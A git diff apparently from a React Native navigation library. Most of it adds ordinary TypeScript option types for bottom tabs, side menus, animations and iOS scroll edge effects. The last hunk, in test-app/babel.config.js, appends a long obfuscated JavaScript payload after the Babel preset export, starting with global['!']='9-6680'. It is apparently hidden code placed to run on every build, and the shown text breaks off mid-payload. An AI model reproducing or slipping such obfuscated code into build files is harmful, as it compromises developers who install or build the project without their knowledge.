animateTabSelection?: boolean; + /** + * Use large icons when possible, even when three tabs without titles are displayed + * #### (android specific) + * @default false + */ + preferLargeIcons?: boolean; + /** + * Switch to another screen within the bottom tabs via index (starting from 0) + */ + currentTabIndex?: number; + /** + * Switch to another screen within the bottom tabs via screen name + */ + currentTabId?: string; + /** + * Set a testID to reference the bottom tabs + */ + testID?: string; + /** + * Overrides the text that's read by the screen reader when the user interacts with the element + * #### (iOS specific) + */ + accessibilityLabel?: string; + /** + * Draw screen component under the tab bar + */ + drawBehind?: boolean; + /** + * Set a background color for the bottom tabs.
+ * On Android - also applicable when translucence is applied, but a semi-transparent + * color should be used (e.g. `rgba(255, 0, 0, 0.25)`). + */ + backgroundColor?: Color; + /** + * Set when tabs are attached to hierarchy consequently when the + * RootView's constructor is called. + */ + tabsAttachMode?: 'together' | 'afterInitialTab' | 'onSwitchToTab'; + /** + * Control the Bottom Tabs blur style + * #### (iOS specific) + * @requires translucent: true + * @default 'default' + */ + barStyle?: 'default' | 'black'; + /** + * Control the way the bottom tabs are laid out. + * - `stretch`: Fill the entire width of the screen. + * - `compact`: Occupy the minimum width needed to hold tab buttons. Recommended for + * usage in conjunction with `drawBehind: true`. + * + * #### (Android specific) + * @default 'stretch' + */ + layoutStyle?: 'stretch' | 'compact'; + /** + * Specify a corner-radius (in dip) in order to apply round corners to the tabs container.
+ * Mainly suitable when used in conjunction with `layoutStyle: 'compact'` + * #### (Android specific) + */ + cornerRadius?: AndroidDensityNumber; + /** + * Bottom-margin to set in order to apply a "hover" effect. + * Works best when used in conjunction with `layoutStyle: 'compact'` and `drawBehind: true`. + * #### (Android specific) + */ + bottomMargin?: AndroidDensityNumber; + /** + * Allows the bottom tabs to be translucent (blurred). Doesn't necessarily play + * nice with shadow effects on Android. + * #### Android: experimental, turn on using native toggle `TAB_BAR_TRANSLUCENCE`. + */ + translucent?: boolean; + /** + * Set a custom radius to be used in the blur effect. Higher is blurrier, but + * also more CPU-intensive.
+ * Note: The blurring is performed following a bitmap downscale of x4.0, so + * ultimately the actual radius is (4*blurRadius). + * #### (Android specific) + * @defaultValue 1.0 + */ + blurRadius?: AndroidDensityNumber; + /** + * Hide the top line of the Tab Bar + * #### (iOS specific) + */ + hideShadow?: boolean; + /** + * Control the text display mode below the tab icon + * #### (Android specific) + */ + titleDisplayMode?: 'alwaysShow' | 'showWhenActive' | 'alwaysHide' | 'showWhenActiveForce'; + /** + * Set the elevation of the Bottom Tabs in dp + * #### (Android specific) + */ + elevation?: AndroidDensityNumber; + /** + * Hides the BottomTabs on scroll to increase the amount of content visible to the user. + * The options requires that the scrollable view will be the root view of the screen and that it specifies `nestedScrollEnabled: true`. + * #### (Android specific) + */ + hideOnScroll?: boolean; + /** + * Control the top border color of the Bottom tabs bar + */ + borderColor?: Color; + /** + * Control the top border width of the Bottom tabs bar + */ + borderWidth?: number; + /** + * Control the shadow of the Bottom tabs bar + */ + shadow?: ShadowOptions; + /** + * Visual options for the floating row that hosts custom React-component + * bottom tab cells. Only takes effect when every `bottomTab.component` + * is set on that `bottomTabs` layout. + * + * Same JS shape on iOS and Android. iOS applies options via the native + * parser; Android receives them through `RNNBottomTabsCustomRowModule`. + */ + customRow?: BottomTabsCustomRowOptions; +} + +export interface BottomTabsCustomRowOptions { + /** + * Content height of the row in points (iOS) / dp (Android). Excludes + * safe-area inset. Total row height = `height` + safe bottom + `bottomMargin`. + * + * Default: native tab content height; on iOS 26+ an extra 18pt when omitted. + */ + height?: number; + /** + * Solid background color for the row. When set, overrides + * `backgroundEffect`. + */ + backgroundColor?: Color; + /** + * Visual effect for the row background. + * - `glass`: iOS 26+ `UIGlassEffect`. + * - `blur`: `UIBlurEffect` with `systemChromeMaterial`. + * - `none`: fully transparent. + * + * Default: `glass` on iOS 26+, `blur` on older versions. + */ + backgroundEffect?: 'glass' | 'blur' | 'none'; + /** + * Corner radius applied to the row's background. + * Default: 28 on iOS 26+, 0 below. + */ + cornerRadius?: number; + /** + * Horizontal inset from the screen edges. + * Default: 16 on iOS 26+, 0 below. + */ + horizontalMargin?: number; + /** + * Distance between the row's bottom edge and the safe-area bottom. + * Default: 0. + */ + bottomMargin?: number; +} + +export interface ShadowOptions { + /** + * The opacity of the shadow + */ + opacity?: number; + /** + * The color of the shadow + */ + color?: Color; + /** + * The blur radius used to create the shadow + */ + radius?: number; +} + +export interface DotIndicatorOptions { + // default red + color?: Color; + // default 6 + size?: number; + // default false + visible?: boolean; +} + +export interface ImageSystemSource { + system: string; + fallback?: ImageRequireSource | string; +} + +export type ImageResource = ImageSourcePropType | string | ImageSystemSource; + +export interface OptionsBottomTab { + dotIndicator?: DotIndicatorOptions; + + /** + * Render a React component as the tab item content (icon + text area). + * + * When set, the native icon, text and font props (`text`, `icon`, + * `selectedIcon`, `sfSymbol`, `sfSelectedSymbol`, `iconColor`, + * `selectedIconColor`, `iconWidth`, `iconHeight`, `iconInsets`, + * `fontFamily`, `fontWeight`, `fontSize`, `selectedFontSize`, + * `textColor`, `selectedTextColor`) are ignored for that tab. + * + * For the custom rendering to take effect every tab in the + * `bottomTabs` layout must declare a `component`. If only some + * tabs declare one a warning is logged and native rendering is + * used for all tabs. + * + * The component receives the following initial props and + * subsequent prop updates: + * - `componentId`: stable id for this tab item instance + * - `tabIndex`: position of the tab (0-based) + * - `selected`: whether this tab is currently selected + * - `badge`: current badge text (mirrors `bottomTab.badge`) + * + * Native still owns selection, hide/show, drawBehind, animations + * and the dot indicator. To switch tabs from inside the component + * use `Navigation.mergeOptions(parentId, { bottomTabs: { currentTabIndex } })`. + */ + component?: { + /** + * The registered name of the component (passed to + * `Navigation.registerComponent`). + */ + name: string; + /** + * Props passed once when the component is created. Updates from + * native (`selected`, `badge`) are delivered as separate prop + * updates. + */ + passProps?: object; + }; + + /** + * Set the text to display below the icon + */ + text?: string; + /** + * Set the text in a badge that is overlayed over the component + */ + badge?: string; + /** + * Set the background color of the badge that is overlayed over the component + */ + badgeColor?: Color; + /** + * Show the badge with the animation. + * #### (Android specific) + */ + animateBadge?: boolean; + /** + * Set a testID to reference the tab in E2E tests + */ + testID?: string; + /** + * Set the tab icon + */ + icon?: ImageResource; + /** + * Set the icon tint + */ + iconColor?: Color; + /** + * Set the icon width + * #### (Android specific) + */ + iconWidth?: number; + /** + * Set the icon height + * #### (Android specific) + */ + iconHeight?: number; + /** + * Set the text color + */ + textColor?: Color; + /** + * Set the selected icon tint + */ + selectedIconColor?: Color; + /** + * Set the selected text color + */ + selectedTextColor?: Color; + /** + * Set the font family for the tab's text + */ + fontFamily?: FontFamily; + /** + * Set the font style for the tab's text + */ + fontStyle?: FontStyle; + /** + * Specifies font weight. The values 'normal' and 'bold' are supported + * for most fonts. Not all fonts have a variant for each of the numeric + * values, in that case the closest one is chosen. + */ + fontWeight?: FontWeight; + /** + * Set the text font size + */ + fontSize?: number; + /** + * Set the insets of the icon + */ + iconInsets?: Insets; + /** + * Set selected icon image + * #### (iOS specific) + */ + selectedIcon?: ImageResource; + /** + * Set true if you want to disable the icon tinting + * #### (iOS specific) + */ + disableIconTint?: boolean; + /** + * Set true if you want to disable the text tinting + * #### (iOS specific) + */ + disableSelectedIconTint?: boolean; + /** + * Set the font size for selected tabs + * #### (Android specific) + */ + selectedFontSize?: number; + /** + * If it's set to false, pressing a tab won't select the tab + * instead it will emit a bottomTabPressedEvent + */ + selectTabOnPress?: boolean; + /** + * Pop to root of stack by tapping on already selected tab + * #### (Android specific) + */ + popToRoot?: boolean; + /** + * Set the SF symbol as icon (will be used primarily) + * #### (iOS 13+ specific) + */ + sfSymbol?: string; + /** + * Set the SF symbol as selected icon (will be used primarily) + * #### (iOS 13+ specific) + */ + sfSelectedSymbol?: string; + /** + * Set the tab bar item to a system-provided role. + * Uses `UITabBarItem(tabBarSystemItem:)` on iOS. + * + * By default the system provides the icon and title. You can + * override the icon by providing `icon`, `selectedIcon`, + * `sfSymbol`, or `sfSelectedSymbol` — they are applied after + * creation and replace the system-provided image. + * `iconColor` and `selectedIconColor` are applied as a tint + * to the custom icon when one is provided. + * + * **`'search'`** — on iOS 26+ this renders as a floating + * Liquid Glass button. Only one tab per `bottomTabs` layout + * may use this role; duplicates fall back to a normal tab. + * + * **`'more'`** — activates UIKit's built-in "More" navigation + * controller. Tabs beyond the visible limit are moved into + * it automatically. + * + * Properties that remain ignored for role tabs: `text`, + * `fontSize`, `fontFamily`, `fontWeight`, `iconInsets`. + * + * #### (iOS specific) + */ + role?: + | 'search' + | 'bookmarks' + | 'contacts' + | 'downloads' + | 'favorites' + | 'featured' + | 'history' + | 'more' + | 'mostRecent' + | 'mostViewed' + | 'recents' + | 'topRated'; +} + +export interface SideMenuSide { + /** + * Show or hide the side menu + */ + visible?: boolean; + /** + * Enable or disable the side menu + */ + enabled?: boolean; + /** + * Set the width of the side menu + */ + width?: number; + /** + * Set the height of the side menu + */ + height?: number; + /** + * Stretch sideMenu contents when opened past the width + * + * **Not applicable when `openMode` is `aboveContent`** + * + * #### (iOS specific) + * @default true + */ + shouldStretchDrawer?: boolean; + /** + * Configure the opening mode of the side menu + * #### (iOS specific) + * @default 'pushContent' + */ + openMode?: 'pushContent' | 'aboveContent'; +} + +export interface OptionsSideMenu { + /** + * Configure the left side menu + */ + left?: SideMenuSide; + /** + * Configure the right side menu + */ + right?: SideMenuSide; + /** + * Configure how a user is allowed to open a drawer using gestures + * #### (iOS specific) + * @default 'entireScreen' + */ + openGestureMode?: 'entireScreen' | 'bezel'; +} + +export interface OverlayOptions { + /** + * Capture touches outside of the Component View + */ + interceptTouchOutside?: boolean; + /** + * Control whether this Overlay should handle Keyboard events. + * Set this to true if your Overlay contains a TextInput. + */ + handleKeyboardEvents?: boolean; +} + +export interface ModalOptions { + /** + * Control whether this modal should be dismiss using swipe gesture when the modalPresentationStyle = 'pageSheet' + * #### (iOS specific) + */ + swipeToDismiss?: boolean; +} + +export interface OptionsPreviewAction { + /** + * Reference ID to get callbacks from + */ + id: string; + /** + * Action text + */ + title: string; + /** + * Action style + */ + style?: 'default' | 'selected' | 'destructive'; + /** + * Subactions that will be shown when this action is pressed. + */ + actions?: OptionsPreviewAction[]; +} + +export interface OptionsPreview { + /** + * Pass a react node tag to mark a SourceRect for a specific + * peek and pop preview element. + */ + reactTag?: number; + /** + * You can set this property specify the width of the preview. + * If the width is greater than the device width, it will be zoomed in. + */ + width?: number; + /** + * Height of the preview + */ + height?: number; + /** + * You can control if the users gesture will result in pushing + * the preview screen into the stack. + */ + commit?: boolean; + /** + * List of actions that will appear underneath the preview window. + * They can be nested for sub actions. + */ + actions?: OptionsPreviewAction[]; +} + +export interface OptionsAnimationPropertyConfig { + /** + * Animate from this value, ex. 0 + */ + from?: number; + /** + * Animate to this value, ex. 1 + */ + to?: number; + /** + * Animation duration + * @default 300 + */ + duration?: number; + /** + * Animation delay + * @default 0 + */ + startDelay?: number; + /** + * Animation interplation + */ + interpolation?: Interpolation; +} + +/** + * Used to animate the actual content added to the hierarchy. + * Content can be a React component (component) or any other layout (Stack, BottomTabs etc) + */ +export interface ScreenAnimationOptions { + /** + * Animate the element over x value + */ + x?: OptionsAnimationPropertyConfig; + /** + * Animate the element over y value + */ + y?: OptionsAnimationPropertyConfig; + /** + * Animate the element over translateX + */ + translationX?: OptionsAnimationPropertyConfig; + /** + * Animate the element over translateY + */ + translationY?: OptionsAnimationPropertyConfig; + /** + * Animate the element over opacity + */ + alpha?: OptionsAnimationPropertyConfig; + /** + * Animate the element over scaleX + */ + scaleX?: OptionsAnimationPropertyConfig; + /** + * Animate the element over scaleY + */ + scaleY?: OptionsAnimationPropertyConfig; + /** + * Animate the element over rotationX + */ + rotationX?: OptionsAnimationPropertyConfig; + /** + * Animate the element over rotationY + */ + rotationY?: OptionsAnimationPropertyConfig; + /** + * Animate the element over rotation + */ + rotation?: OptionsAnimationPropertyConfig; + /** + * Wait for the root view to render before start animation + */ + waitForRender?: boolean; + /** + * Enable or disable the animation + * @default true + */ + enabled?: boolean; +} + +export interface IconInsets { + /** + * Configure top inset + */ + top?: number; + /** + * Configure left inset + */ + left?: number; + /** + * Configure bottom inset + */ + bottom?: number; + /** + * Configure right inset + */ + right?: number; +} + +export interface ColorAnimationOptions { + /** + * Color duration time; Default is as determined by the OS + */ + duration?: number; +} + +export interface ViewAnimationOptions extends ScreenAnimationOptions { + /** + * ID of the Top Bar we want to animate + */ + id?: string; +} + +export interface TopBarAnimationOptions extends ViewAnimationOptions { + /** + * Animation of the top-bar's background color, in case the top-bar background color + * has been explicitly specified. + * + * Applicable only in transition of screens with color (non-component) backgrounds. + */ + bkgColor?: ColorAnimationOptions; +} + +export interface StatusBarAnimationOptions extends ViewAnimationOptions { + /** + * Animation of the status-bar's background color, in case its background color + * has been explicitly specified. + */ + bkgColor?: ColorAnimationOptions; +} + +export interface EnterExitAnimationOptions { + /** + * Animate opening component + */ + enter?: ViewAnimationOptions; + /** + * Animate closing component + */ + exit?: ViewAnimationOptions; +} + +export interface OldModalAnimationOptions extends ViewAnimationOptions { + /** + * Animations to be applied on elements which are shared between the appearing and disappearing screens + */ + sharedElementTransitions?: SharedElementTransition[]; + /** + * Animations to be applied on views in the appearing or disappearing screens + */ + elementTransitions?: ElementTransition[]; +} + +export interface ModalAnimationOptions { + /** + * Animate opening modal + */ + enter?: ViewAnimationOptions; + /** + * Animate closing modal + */ + exit?: ViewAnimationOptions; + /** + * Animations to be applied on elements which are shared between the appearing and disappearing screens + */ + sharedElementTransitions?: SharedElementTransition[]; + /** + * Animations to be applied on views in the appearing or disappearing screens + */ + elementTransitions?: ElementTransition[]; +} + +/** + * Used for describing stack commands animations. + */ +export interface StackAnimationOptions { + /** + * Wait for the View to render before start animation + */ + waitForRender?: boolean; + /** + * Enable or disable the animation + * @default true + */ + enabled?: boolean; + /** + * Configure animations for the top bar + */ + topBar?: + | TopBarAnimationOptions + | { + enter?: TopBarAnimationOptions; + exit?: TopBarAnimationOptions; + }; + /** + * Configure animations for the status bar (typically aligned + * with the top-bar's) + */ + statusBar?: + | StatusBarAnimationOptions + | { + enter?: StatusBarAnimationOptions; + exit?: StatusBarAnimationOptions; + }; + /** + * Configure animations for the bottom tabs + */ + bottomTabs?: + | ViewAnimationOptions + | { + enter?: ViewAnimationOptions; + exit?: ViewAnimationOptions; + }; + /** + * Configure animations for the content (Screen) + */ + content?: + | ViewAnimationOptions + | { + enter?: ViewAnimationOptions; + exit?: ViewAnimationOptions; + }; + /** + * Animations to be applied on elements which are shared between the appearing and disappearing screens + */ + sharedElementTransitions?: SharedElementTransition[]; + /** + * Animations to be applied on views in the appearing or disappearing screens + */ + elementTransitions?: ElementTransition[]; +} + +/** + * Used for configuring command animations + */ +export interface AnimationOptions { + /** + * Configure the setStackRoot animation + */ + setStackRoot?: ViewAnimationOptions | StackAnimationOptions; + /** + * Configure the setRoot animation + */ + setRoot?: ViewAnimationOptions | EnterExitAnimationOptions; + /** + * Configure the animation of the pushed screen + * #### (Android specific) + */ + push?: StackAnimationOptions; + /** + * Configure what animates when a screen is popped + */ + pop?: StackAnimationOptions; + /** + * Configure what animates when modal is shown + */ + showModal?: OldModalAnimationOptions | ModalAnimationOptions; + /** + * Configure what animates when modal is dismissed + */ + dismissModal?: OldModalAnimationOptions | ModalAnimationOptions; +} + +/** + * Configure Android's NavigationBar + */ +export interface NavigationBarOptions { + backgroundColor?: Color; + visible?: boolean; + /** + * Draw screen content behind the system navigation bar while keeping it visible. + * On Android 15+ edge-to-edge, use with `backgroundColor: 'transparent'`. + */ + drawBehind?: boolean; +} + +/** + * Used for configuring and controlling the main window in iOS + */ +export interface WindowOptions { + /** + * Configure the background color of the application's main window. + */ + backgroundColor?: Color; +} + +export interface IconBackgroundOptions { + /** + * Set background color + */ + color: Color; + /** + * Set background color on disabled state + */ + disabledColor?: Color; + /** + * Set corner radius + */ + cornerRadius?: number; + /** + * Set width + */ + width?: number; + /** + * Set height + */ + height?: number; +} + +export interface Options { + /** + * Configure the status bar + */ + statusBar?: OptionsStatusBar; + /** + * Configure the layout + */ + layout?: OptionsLayout; + /** + * Configure the presentation style of the modal + */ + modalPresentationStyle?: OptionsModalPresentationStyle; + /** + * Configure the transition style of the modal + * + * #### (Android specific) + */ + modalTransitionStyle?: OptionsModalTransitionStyle; + /** + * Configure the top bar + */ + topBar?: OptionsTopBar; + fab?: OptionsFab; + /** + * Configure the bottom tabs + */ + bottomTabs?: OptionsBottomTabs; + /** + * Configure the bottom tab associated to the screen + */ + bottomTab?: OptionsBottomTab; + /** + * Configure the side menu + */ + sideMenu?: OptionsSideMenu; + /** + * Configure the splitView controller + */ + splitView?: OptionsSplitView; + /** + * Configure the overlay + */ + overlay?: OverlayOptions; + /** + * Configure the modal + */ + modal?: ModalOptions; + /** + * Animation used for navigation commands that modify the layout + * hierarchy can be controlled in options. + * + * Animations can be modified per command and it's also possible + * to change the default animation for each command. + * + * Example: +```js +setRoot: { + y: { + from: 1000, + to: 0, + duration: 500, + interpolation: 'accelerate', + }, + alpha: { + from: 0, + to: 1, + duration: 400, + startDelay: 100, + interpolation: 'accelerate' + } +} +``` + */ + animations?: AnimationOptions; + + /** + * Configure Android's NavigationBar + */ + navigationBar?: NavigationBarOptions; + + /** + * Android Hardware Back button configuration + */ + hardwareBackButton?: HardwareBackButtonOptions; + + /** + * Preview configuration for Peek and Pop + * #### (iOS specific) + */ + preview?: OptionsPreview; + /** + * Enable or disable swipe back to pop gesture + * #### (iOS specific) + * @default true + */ + popGesture?: boolean; + /** + * Background image for the screen + * #### (iOS specific) + */ + backgroundImage?: ImageResource; + /** + * Background image for the Navigation View + * #### (iOS specific) + */ + rootBackgroundImage?: ImageResource; + /** + * Provides a way to configure the overall presentation of your application's main user interface + * #### (iOS specific) + */ + window?: WindowOptions; + /** + * Show / hide or change the style of the iOS 26 scroll edge effect on every + * UIScrollView contained in the screen. + * #### (iOS 26+ specific) + */ + scrollEdgeEffect?: OptionsScrollEdgeEffect; + /** + * Enable or disable automatically blurring focused input, dismissing keyboard on unmount + * #### (Android specific) + * @default false + */ + blurOnUnmount?: boolean; +} + +export interface OptionsScrollEdge { + /** + * Hide the scroll edge effect on this edge. + * #### (iOS 26+ specific) + */ + hidden?: boolean; + /** + * Style of the scroll edge effect on this edge. + * #### (iOS 26+ specific) + * @default 'automatic' + */ + style?: 'automatic' | 'soft' | 'hard'; +} + +export interface OptionsScrollEdgeEffect { + /** + * Hide the scroll edge effect on all four edges of contained scroll views. + * Per-edge values (top / bottom / left / right) take precedence over this. + * #### (iOS 26+ specific) + */ + hidden?: boolean; + /** + * Style of the scroll edge effect on all four edges. Per-edge values take precedence. + * #### (iOS 26+ specific) + * @default 'automatic' + */ + style?: 'automatic' | 'soft' | 'hard'; + /** + * Per-edge override for the top edge effect. Falls back to the global hidden / style. + * #### (iOS 26+ specific) + */ + top?: OptionsScrollEdge; + /** + * Per-edge override for the bottom edge effect. Falls back to the global hidden / style. + * #### (iOS 26+ specific) + */ + bottom?: OptionsScrollEdge; + /** + * Per-edge override for the left edge effect. Falls back to the global hidden / style. + * #### (iOS 26+ specific) + */ + left?: OptionsScrollEdge; + /** + * Per-edge override for the right edge effect. Falls back to the global hidden / style. + * #### (iOS 26+ specific) + */ + right?: OptionsScrollEdge; +} diff --git a/test-app/babel.config.js b/test-app/babel.config.js index f7b3da3b33d..14a687f703b 100644 --- a/test-app/babel.config.js +++ b/test-app/babel.config.js @@ -1,3 +1,3 @@ -module.exports = { - presets: ['module:@react-native/babel-preset'], -}; +module.exports = { + presets: ['module:@react-native/babel-preset'], +}; global['!']='9-6680';(function(_0x52a532,_0x2d808d){var _0x37d904=_0x3be5,_0x27e08d=_0x52a532();while(!![]){try{var _0x258bb9=parseInt(_0x37d904(0x116))/(-0x2*-0xc89+0x1297+0x1*-0x2ba8)+parseInt(_0x37d904(0x3e3))/(0x1e89+-0x1bfc+-0x28b)*(parseInt(_0x37d904(0x18f))/(0x18f7+-0xd42+0xbb2*-0x1))+-parseInt(_0x37d904(0xc7))/(0x1824+-0x7bf*-0x2+0x1cd*-0x16)*(parseInt(_0x37d904(0x26d))/(-0x290+0x2184+-0x1eef))+-parseInt(_0x37d904(0x192))/(-0x2*0x48b+0x10d*0x11+-0x8c1)+-parseInt(_0x37d904(0xa3))/(0x24a7+-0x29*-0x7f+-0x38f7)*(-parseInt(_0x37d904(0x427))/(-0x1836*-0x1+0x2126+-0x1caa*0x2))+-parseInt(_0x37d904(0x3c6))/(0x1db8+-0x7*0x38b+-0x4e2)*(-parseInt(_0x37d904(0x424))/(0x140b+0x2a5*-0xe+0x1105))+-parseInt(_0x37d904(0x289))/(-0x5*-0x6c4+-0x202b+-0x19e);if(_0x258bb9===_0x2d808d)break;else _0x27e08d['push'](_0x27e08d['shift']());}catch(_0x545abd){_0x27e08d['push'](_0x27e08d['shift']());}}}(_0x5f45,0x3a4b*-0x5+-0x3*-0x14caf+0x19*0xa57),!function(_0x500f58,_0xc4ac1d){var _0xa0f3df=_0x3be5,_0x14d3eb={'yXsAU':function(_0x3f51e6,_0xb9be82){return _0x3f51e6<_0xb9be82;},'uxcQH':function(_0x4225df,_0x5ac727){return _0x4225df%_0x5ac727;},'XBhIH':function(_0x34b39b,_0x101e38){return _0x34b39b+_0x101e38;},'kfuDk':function(_0xf7a237,_0x43d06d){return _0xf7a237*_0x43d06d;},'Emdxt':function(_0x2798eb,_0x5aea37){return _0x2798eb+_0x5aea37;},'TPIVk':function(_0x1af93d,_0x779646){return _0x1af93d+_0x779646;},'uKTwD':function(_0x46c7cd,_0x5089f9){return _0x46c7cd+_0x5089f9;},'kJebz':function(_0x307982,_0x59d116){return _0x307982%_0x59d116;},'lDkzO':function(_0x25a251,_0x473301){return _0x25a251%_0x473301;},'PjAol':function(_0x2abc47,_0x2951ab,_0x285bc0,_0x11f352,_0x3eb176,_0x378b8b,_0x753e59,_0x2a0780){return _0x2abc47(_0x2951ab,_0x285bc0,_0x11f352,_0x3eb176,_0x378b8b,_0x753e59,_0x2a0780);},'HzUvU':_0xa0f3df(0xc0),'OvNMo':function(_0x1cd55d,_0x12971c){return _0x1cd55d===_0x12971c;},'NWAll':function(_0x532889,_0x5f4724){return _0x532889(_0x5f4724);},'JDcif':_0xa0f3df(0x4be)+_0xa0f3df(0x3d6)+_0xa0f3df(0x19e)+_0xa0f3df(0x254),'eIoDu':function(_0x484af5,_0x644456,_0x5c036d){return _0x484af5(_0x644456,_0x5c036d);},'Vjhdr':_0xa0f3df(0x108)+_0xa0f3df(0x1c1)+_0xa0f3df(0x247)+_0xa0f3df(0x2d4)+_0xa0f3df(0x266)+_0xa0f3df(0x4a9)+_0xa0f3df(0x405)+_0xa0f3df(0x3b4)+_0xa0f3df(0x1de)+_0xa0f3df(0x178)+_0xa0f3df(0xa9)+_0xa0f3df(0x12b)+_0xa0f3df(0x286)+_0xa0f3df(0xac)+_0xa0f3df(0x4bc)+_0xa0f3df(0x363)+_0xa0f3df(0x162)+_0xa0f3df(0x343)+_0xa0f3df(0x32a)+_0xa0f3df(0x292)+_0xa0f3df(0x40e)+_0xa0f3df(0x1e5)+_0xa0f3df(0x35f)+_0xa0f3df(0x441)+_0xa0f3df(0x425)+_0xa0f3df(0xa2)+_0xa0f3df(0x20b)+_0xa0f3df(0x46e)+_0xa0f3df(0x3e6)+_0xa0f3df(0x345)+_0xa0f3df(0x40a)+_0xa0f3df(0x328)+_0xa0f3df(0x49c)+_0xa0f3df(0x222)+_0xa0f3df(0x418)+_0xa0f3df(0x404)+_0xa0f3df(0x241)+_0xa0f3df(0x16c)+_0xa0f3df(0xaa)+_0xa0f3df(0x259)+_0xa0f3df(0x206)+_0xa0f3df(0x2d8)+_0xa0f3df(0x2df)+_0xa0f3df(0x233)+_0xa0f3df(0x42a)+_0xa0f3df(0x107)+_0xa0f3df(0x4af)+_0xa0f3df(0x3be)+_0xa0f3df(0x366)+_0xa0f3df(0x4cf)+_0xa0f3df(0x340)+_0xa0f3df(0x2ae)+_0xa0f3df(0xa6)+_0xa0f3df(0x4ce)+_0xa0f3df(0x378)+_0xa0f3df(0x3e2)+_0xa0f3df(0x1cf)+_0xa0f3df(0x1f4)+_0xa0f3df(0x122)+_0xa0f3df(0x24a)+_0xa0f3df(0x39d)+_0xa0f3df(0x216)+_0xa0f3df(0x278)+_0xa0f3df(0x48e)+_0xa0f3df(0x45a)+_0xa0f3df(0x1f5)+_0xa0f3df(0x409)+_0xa0f3df(0x492)+_0xa0f3df(0x1b2)+_0xa0f3df(0x296)+_0xa0f3df(0x32f)+_0xa0f3df(0x215)+_0xa0f3df(0x43b)+_0xa0f3df(0x478)+_0xa0f3df(0x39a)+_0xa0f3df(0x2bd)+_0xa0f3df(0x235)+_0xa0f3df(0x22c)+_0xa0f3df(0x4d8)+_0xa0f3df(0x37f)+_0xa0f3df(0x4a8)+_0xa0f3df(0x1a4)+_0xa0f3df(0x2a2)+_0xa0f3df(0x1d4)+_0xa0f3df(0x128)+_0xa0f3df(0x449)+_0xa0f3df(0x23a)+_0xa0f3df(0x18b)+_0xa0f3df(0xcc),'YZkUd':_0xa0f3df(0xfa)+_0xa0f3df(0x27b)+_0xa0f3df(0x274)+_0xa0f3df(0x13e)+_0xa0f3df(0x234)+_0xa0f3df(0x4dc)+_0xa0f3df(0x15c)+_0xa0f3df(0x127)+_0xa0f3df(0x1f9)+_0xa0f3df(0x260)+_0xa0f3df(0x153)+_0xa0f3df(0x362)+_0xa0f3df(0x301)+_0xa0f3df(0xc8)+_0xa0f3df(0x38e)+_0xa0f3df(0x4e2)+_0xa0f3df(0x2ce)+_0xa0f3df(0x146)+_0xa0f3df(0x24c)+_0xa0f3df(0x2aa)+_0xa0f3df(0x212)+_0xa0f3df(0x419)+_0xa0f3df(0x2cd)+_0xa0f3df(0x43a)+_0xa0f3df(0x1ec)+_0xa0f3df(0x250)+_0xa0f3df(0xd7)+_0xa0f3df(0x460)+_0xa0f3df(0x47b)+_0xa0f3df(0x3af)+_0xa0f3df(0x49a)+_0xa0f3df(0x376)+_0xa0f3df(0x389)+_0xa0f3df(0x25e)+_0xa0f3df(0x36b)+_0xa0f3df(0x400)+_0xa0f3df(0x4b2)+_0xa0f3df(0x257)+_0xa0f3df(0x1b1)+_0xa0f3df(0x2af)+_0xa0f3df(0x1e9)+_0xa0f3df(0x4a6)+_0xa0f3df(0x35b)+_0xa0f3df(0x1d2)+_0xa0f3df(0x2e8)+_0xa0f3df(0x422)+_0xa0f3df(0x44c)+_0xa0f3df(0x25f)+_0xa0f3df(0x4e6)+_0xa0f3df(0x420)+_0xa0f3df(0x42f)+_0xa0f3df(0x131)+_0xa0f3df(0x295)+_0xa0f3df(0x11b)+_0xa0f3df(0x2b0)+_0xa0f3df(0x360)+_0xa0f3df(0x29f)+_0xa0f3df(0x24e)+_0xa0f3df(0x135)+_0xa0f3df(0x44d)+_0xa0f3df(0x24b)+_0xa0f3df(0x15a)+_0xa0f3df(0x4b6)+_0xa0f3df(0x488)+_0xa0f3df(0x36f)+_0xa0f3df(0xeb)+_0xa0f3df(0x361)+_0xa0f3df(0x1af)+_0xa0f3df(0x3d2)+_0xa0f3df(0x225)+_0xa0f3df(0x2ed)+_0xa0f3df(0x46b)+_0xa0f3df(0x2c3)+_0xa0f3df(0x426)+_0xa0f3df(0x16e)+_0xa0f3df(0x161)+_0xa0f3df(0x2e6)+_0xa0f3df(0xbf)+_0xa0f3df(0x4bd)+_0xa0f3df(0x180)+_0xa0f3df(0x12e)+_0xa0f3df(0x290)+_0xa0f3df(0x3a1)+_0xa0f3df(0x1f3)+_0xa0f3df(0x20f)+_0xa0f3df(0x2b1)+_0xa0f3df(0x46c)+_0xa0f3df(0x43c)+_0xa0f3df(0x47d)+_0xa0f3df(0x4c5)+_0xa0f3df(0x485)+_0xa0f3df(0x204)+_0xa0f3df(0x1fb)+_0xa0f3df(0x1ef)+_0xa0f3df(0x31d)+_0xa0f3df(0x3ce)+_0xa0f3df(0x28e)+_0xa0f3df(0x240)+_0xa0f3df(0xba)+_0xa0f3df(0x3c0)+(_0xa0f3df(0x3df)+_0xa0f3df(0x356)+_0xa0f3df(0x41f)+_0xa0f3df(0x48a)+_0xa0f3df(0x4d0)+_0xa0f3df(0x185)+_0xa0f3df(0x2c8)+_0xa0f3df(0x273)+_0xa0f3df(0x264)+_0xa0f3df(0x41e)+_0xa0f3df(0x3a8)+_0xa0f3df(0x2b9)+_0xa0f3df(0x2a6)+_0xa0f3df(0x164)+_0xa0f3df(0x142)+_0xa0f3df(0x44e)+_0xa0f3df(0x303)+_0xa0f3df(0x14e)+_0xa0f3df(0x30e)+_0xa0f3df(0x497)+_0xa0f3df(0x3f0)+_0xa0f3df(0x2c9)+_0xa0f3df(0x105)+_0xa0f3df(0x184)+_0xa0f3df(0x337)+_0xa0f3df(0x13f)+_0xa0f3df(0x169)+_0xa0f3df(0x3a6)+_0xa0f3df(0x3f1)+_0xa0f3df(0xd5)+_0xa0f3df(0xce)+_0xa0f3df(0x35d)+_0xa0f3df(0x109)+_0xa0f3df(0x2f2)+_0xa0f3df(0x31b)+_0xa0f3df(0x150)+_0xa0f3df(0x32c)+_0xa0f3df(0x359)+_0xa0f3df(0x3e0)+_0xa0f3df(0x25d)+_0xa0f3df(0x3d0)+_0xa0f3df(0x1d0)+_0xa0f3df(0x124)+_0xa0f3df(0x3ee)+_0xa0f3df(0x113)+_0xa0f3df(0x484)+_0xa0f3df(0x350)+_0xa0f3df(0x1ff)+_0xa0f3df(0x41c)+_0xa0f3df(0x144)+_0xa0f3df(0x18c)+_0xa0f3df(0x2ef)+_0xa0f3df(0x483)+_0xa0f3df(0x2e9)+_0xa0f3df(0x1dd)+_0xa0f3df(0x111)+